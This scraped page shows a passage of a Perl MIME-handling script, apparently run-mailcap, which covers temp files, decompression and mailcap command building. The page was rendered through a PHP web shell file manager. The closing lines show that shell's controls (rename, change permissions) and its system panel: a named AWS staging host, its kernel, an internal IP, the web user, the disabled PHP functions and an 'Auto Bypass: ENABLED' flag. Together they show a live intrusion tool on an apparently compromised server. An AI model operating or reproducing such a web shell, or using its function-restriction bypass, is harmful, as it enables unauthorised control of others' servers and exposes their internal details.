$tmpfile.= "/$name"; # unlink($tmpfile); return $tmpfile; } sub SaveStdin { my($match) = @_; my($tmpfile,$amt,$buf); $tmpfile = $1 if ($match =~ m/nametemplate=(.*?)\s*($|;)/); $tmpfile = TempFile($tmpfile); open(TMPFILE,">$tmpfile") || die "Error: could not write \"$tmpfile\" -- $!\n"; do { $amt = read(STDIN,$buf,102400); print TMPFILE $buf if $amt; } while ($amt != 0); close(TMPFILE); return $tmpfile; } sub DecodeFile { my($efile,$encoding,$action) = @_; my($file,$res); $file = $efile; $file =~ s!^.*/!!; # remove leading directories $file =~ s!\.[^\.]*$!!; # remove encoding extension $file =~ s!^\.?[^\.]*!%s!; # replace name with placeholder $file = undef if ($efile eq '-'); my $tmpfile = TempFile($file); print STDERR " - decoding \"$efile\" as \"$tmpfile\"\n" if $debug; # unlink($tmpfile); # should still be acceptable for "compose" output even if exists return $tmpfile if (($efile ne '-' && ! -e $efile) || $action eq 'compose'); if ($encoding eq "gzip") { if ($efile eq '-') { $res = system "gzip -d >\Q$tmpfile\E"; } else { $res = system "gzip -dc \Q$efile\E >\Q$tmpfile\E"; } } elsif ($encoding eq "bzip2") { if ($efile eq '-') { $res = system "bzip2 -d >\Q$tmpfile\E"; } else { $res = system "bzip2 -dc <\Q$efile\E >\Q$tmpfile\E"; } } elsif ($encoding eq "xz") { if ($efile eq '-') { $res = system "xz -d >\Q$tmpfile\E"; } else { $res = system "xz -dc <\Q$efile\E >\Q$tmpfile\E"; } } elsif ($encoding eq "compress") { if ($efile eq '-') { $res = system "uncompress >\Q$tmpfile\E"; } else { $res = system "uncompress <\Q$efile\E >\Q$tmpfile\E"; } } else { die "Fatal: unknown encoding \"$encoding\" at"; } $res = int($res/256); if ($res != 0) { print STDERR "Error: could not decode \"$efile\" -- $!\n"; $retcode = 2 if ($retcode < 2); unlink($tmpfile); return; } # chmod 0600,$tmpfile; # done already by TempFile return $tmpfile; } sub EncodeFile { my($dfile,$efile,$encoding) = @_; my($res); print STDERR " - encoding \"$dfile\" as \"$efile\"\n"; if ($encoding eq "gzip") { if ($efile eq '-') { $res = system "gzip -c \Q$dfile\E"; } else { $res = system "gzip -c \Q$dfile\E >\Q$efile\E"; } } elsif ($encoding eq "xz") { if ($efile eq '-') { $res = system "xz < \Q$dfile\E"; } else { $res = system "xz < \Q$dfile\E >\Q$efile\E"; } } elsif ($encoding eq "compress") { if ($efile eq '-') { $res = system "compress <\Q$dfile\E"; } else { $res = system "compress <\Q$dfile\E >\Q$efile\E"; } } else { die "Fatal: unknown encoding \"$encoding\" at"; } $res = int($res/256); if ($res != 0) { print STDERR "Error: could not encode \"$efile\" (left as \"$dfile\")\n"; $retcode = 2 if ($retcode < 2); return; } return $dfile; } sub ExtensionMimetype { my($file) = @_; my($ext) = ($file =~ m!\.([^/\.]+)$!); my($typ); if ($ext) { unless ($donemimetypes) { ReadMimetypes($usrmimetyp); ReadMimetypes($locmimetyp); ReadMimetypes($shrmimetyp); ReadMimetypes($etcmimetyp); $donemimetypes = 1; } $typ = $mimetypes{lc($ext)}; print STDERR " - extension \"$ext\" maps to mime-type \"$typ\"\n" if $debug; } return $typ; } sub MagicMimetype { my($file) = @_; my($typ); if (`which file`) { open(READER, "-|", "file", "-b", "--mime-type", "-e", "tokens", "-L", "-z", $file); $typ = <READER>; chomp $typ; print STDERR " - file command returned mime-type \"$typ\"\n" if $debug; } return $typ; } @files = (); foreach (@ARGV) { print STDERR " - parsing parameter \"$_\"\n" if $debug; if (m!^(-h|--help)$!) { Usage(); exit(0); } elsif (m!^--(.*?)=(.*)$!) { print STDERR "Warning: definition of \"$1=$2\" overrides value \"${$1}\"\n" if ($ {$1} && $ {$1} != $2); $ {$1}=$2; } elsif (m!^--(.*?)$!) { print STDERR "Warning: definition of \"$1=$2\" overrides value \"${$1}\"\n" if ($ {$1} && $ {$1} != 1); $ {$1}=1; } elsif (m!^[^/:]+/[^/:]+:[^/:]+:!) { push @files,$_; } elsif (m!^([^/:]+/[^/:]+):(.*)! && ! -e $_) { my $file = $_; my $type = $1; my $file = $2; my $code = EncodingForFile($file); push @files,"${type}:${code}:${file}"; print STDERR " - file \"$file\" does not exist -- assuming mime-type specification of \"${type}\"\n" if $debug; } else { my $file = $_; my $code = EncodingForFile($file); my $type; if ($code) { my $efile = $file; $efile =~ s/\.[^\.]+$//; $type = ExtensionMimetype($efile); } else { $type = ExtensionMimetype($file); } $type = MagicMimetype($file) unless $type; if ($type) { push @files,"${type}:${code}:${file}"; } else { print STDERR "Warning: unknown mime-type for \"$file\" -- using \"$defmimetyp\"\n"; push @files,"${defmimetyp}:${code}:${file}"; } } } # Pass --debug to sub-calls to this program. $ENV{RUN_MAILCAP_DEBUG} = 1 if $debug; unless ($action) { if ($0 =~ m!(^|/)(mime-)?view$!) { $action="view"; } elsif ($0 =~ m!(^|/)(mime-)?see$!) { $action="view"; } elsif ($0 =~ m!(^|/)(mime-)?cat$!) { $action="cat"; } elsif ($0 =~ m!(^|/)(mime-)?edit$!) { $action="edit"; } elsif ($0 =~ m!(^|/)(mime-)?change$!) { $action="edit"; } elsif ($0 =~ m!(^|/)(mime-)?compose$!) { $action="compose";} elsif ($0 =~ m!(^|/)(mime-)?print$!) { $action="print"; } elsif ($0 =~ m!(^|/)(mime-)?create$!) { $action="compose";} else { $action="view"; } } $mailcaps = $ENV{MAILCAPS}; $mailcaps = "$ENV{HOME}/.mailcap:/etc/mailcap:/usr/local/etc/mailcap:/usr/share/etc/mailcap:/usr/etc/mailcap" unless $mailcaps; foreach (split(/:/,$mailcaps)) { ReadMailcap($_); } foreach (@files) { my($type,$code,$file) = m/^(.*?):(.*?):(.*)$/; print STDERR "Processing file \"$file\" of type \"$type\" (encoding=",$code?$code:"none",")...\n" if $debug; if ($file ne '-') { if ($action eq 'compose' || $action eq 'edit') { if (-e $file) { if (! -w $file) { print STDERR "Error: no write permission for file \"$file\"\n"; $retcode = 2 if ($retcode < 2); next; } } else { if (open(TEST,">$file")) { close(TEST); unlink($file); } else { print STDERR "Error: no write permission for file \"$file\"\n"; $retcode = 2 if ($retcode < 2); next; } } } else { if (! -e $file) { print STDERR "Error: no such file \"$file\"\n"; $retcode = 2 if ($retcode < 2); next; } if (! -r $file) { print STDERR "Error: no read permission for file \"$file\"\n"; $retcode = 2 if ($retcode < 2); next; } } } my(@matches,$entry,$res,$efile); if ($code) { $efile = $file; $file = DecodeFile($efile,$code,$action); next unless $file; } foreach $entry (@mailcap) { $entry =~ m/^(.*?)\s*;/; $_ = "\Q$1\E"; s/\\\*/\.\*/g; push @matches,$entry if ($type =~ m!^$_$!i); } @matches = grep(/\Q$action\E=/,@matches) unless ($action eq "view" || $action eq "cat"); my $done=0; my $fail=0; my $needsterminal; foreach $match (@matches) { my $comm; print STDERR " - checking mailcap entry \"$match\"\n" if $debug; if ($action eq "view" || $action eq "cat") { ($comm) = ($match =~ m/^.*?;\s*(.*?)\s*($|;)/); } else { ($comm) = ($match =~ m/\Q$action\E=(.*?)\s*($|;)/); } next if (!$comm || $comm =~ m!(^|/)false$!i); print STDERR " - program to execute: $comm\n" if $debug; if ($action eq 'cat' && $match !~ m/;\s*copiousoutput\s*($|;)/) { print STDERR " - \"copiousoutput\" is required for \"cat\" action\n" if $debug; $fail++; next; } my($tmpfile,$tmplink); if ($action ne 'print' && $match =~ m/;\s*needsterminal\s*($|;)/) { $needsterminal = 1; if (-t STDOUT) { print STDERR " - needsterminal is satisfied by stdout\n" if $debug; } else { if ($ENV{DISPLAY}) { $comm = "$xtermprgrm -T '$file ($type)' -e $0 --action=$action '${type}:%s'"; } else { print STDERR " - no terminal available for rule (needsterminal)\n" if $debug; $fail++; next; } } } elsif ($action eq 'view' && !$nopager && $match =~ m/;\s*copiousoutput\s*($|;)/ && $type ne 'text/plain') { $comm .= " | $0 --action=$action text/plain:-"; } if ($match =~ m/;\s*test=(.*?)\s*($|;)/) { my $test; print STDERR " - running test: $1 " if $debug; $test = system "$1 >/dev/null 2>&1"; $test >>= 8; print STDERR " (result=$test=",($test!=0?"false":"true"),")\n" if $debug; if ($test) { $fail++; next; } } if ($file ne "-") { # Resolve file name to an absolute path $file = File::Spec->rel2abs($file); if (decode(langinfo(CODESET()), $file) =~ m![^[:alnum:],.:/@%^+=_-]!i) { $match =~ m/nametemplate=(.*?)\s*($|;)/; my $prefix = $1; my $linked = 0; while (!$linked) { $tmplink = TempFile($prefix); unlink($tmplink); $linked = symlink($file,$tmplink); } $file = $tmplink; print STDERR " - filename contains shell meta-characters; aliased to '$tmplink'\n" if $debug; } if ($comm =~ m/[^%]%s/) { $comm =~ s/([^%])%s/$1$file/g; } else { if ($comm =~ m/\|/) { $comm =~ s/\|/<\Q$file\E \|/; } else { $comm .= " <\Q$file\E"; } if ($action eq 'edit' || $action eq 'compose') { $comm .= " >\Q$file\E"; } } } else { if ($comm =~ m/[^%]%s/) { $tmpfile = SaveStdin($match); $comm =~ s/([^%])%s/$1$tmpfile/g; # If needsterminal then redirect stdin to the tty which is # on stdout, rather than leaving it as the input data stream # which has now been read through to EOF. # # Some programs such as "more" and "less" already use # /dev/tty rather than stdin. But "vim" on non-tty stdin # gives a warning message and then leaves the tty in raw # mode on exit. Or "nvi" refuses to run at all unless both # stdin and stdout are the tty. # # RFC 1524 is silent on exactly what a program with # "needsterminal" should expect, but it seems sensible to # arrange that both stdin and stdout are the terminal for # "needsterminal" with "%s". # if ($needsterminal) { $comm .= ' <&1'; } } else { # no name means same as "-"... read from stdin } } $comm =~ s!([^%])%t!$1$type!g; $comm =~ s!([^%])%F!$1!g; $comm =~ s!%\{(.*?)}!$_="'$ENV{$1}'";s/\`//g;s/\'\'//g;$_!ge; $comm =~ s!\\(.)!$1!g; $comm =~ s!\'\'!\'!g; $comm =~ s!$quotedsemi!;!go; $comm =~ s!$quotedprct!%!go; print STDERR " - executing: $comm\n" if $debug; if ($norun) { print $comm,"\n"; $res = 0; } else { $res = system $comm; if ($res != 0) { if (!($res & 0xFF)) { print STDERR "Warning: program returned non-zero exit code \#$res\n"; $retcode = $res >> 8; } elsif ($res == -1) { print STDERR "Error: program failed to execute: $!\n"; $retcode = -1; } else { my $signal = $? & 0x7F; my $core = ($? & 0x80) ? ' (core dumped)' : ''; print STDERR "Warning: program died on signal ${signal}${core}\n"; $retcode = -1; } } } $done=1; unlink $tmpfile if $tmpfile; unlink $tmplink if $tmplink; last; } if (!$done) { if ($fail) { print STDERR "Error: no \"$action\" rule for type \"$type\" passed its test case\n"; print STDERR " (for more information, add \"--debug=1\" on the command line)\n"; $retcode = 3 if ($retcode < 3); } else { print STDERR "Error: no \"$action\" mailcap rules found for type \"$type\"\n"; $retcode = 3 if ($retcode < 3); } unlink $file if $code; $retcode = 1 unless $retcode; next; } if ($code) { if ($action eq 'edit' || $action eq 'compose') { my $file = EncodeFile($file,$efile,$code); unlink $file if $file; } else { unlink $file; } } } exit($retcode);
Rename
Change Permissions
Common permissions: 755 (rwxr-xr-x), 644 (rw-r--r--), 777 (rwxrwxrwx)
System Information
Uname: Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64 Software: Apache PHP Version: 7.4.3-4ubuntu2.29 Protocol: HTTP/1.1 Server IP: 172.31.9.152 Your IP: 216.73.216.236 Mail: ON Curl: ON Owner: www-data MySQL: ON Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Auto Bypass: ENABLED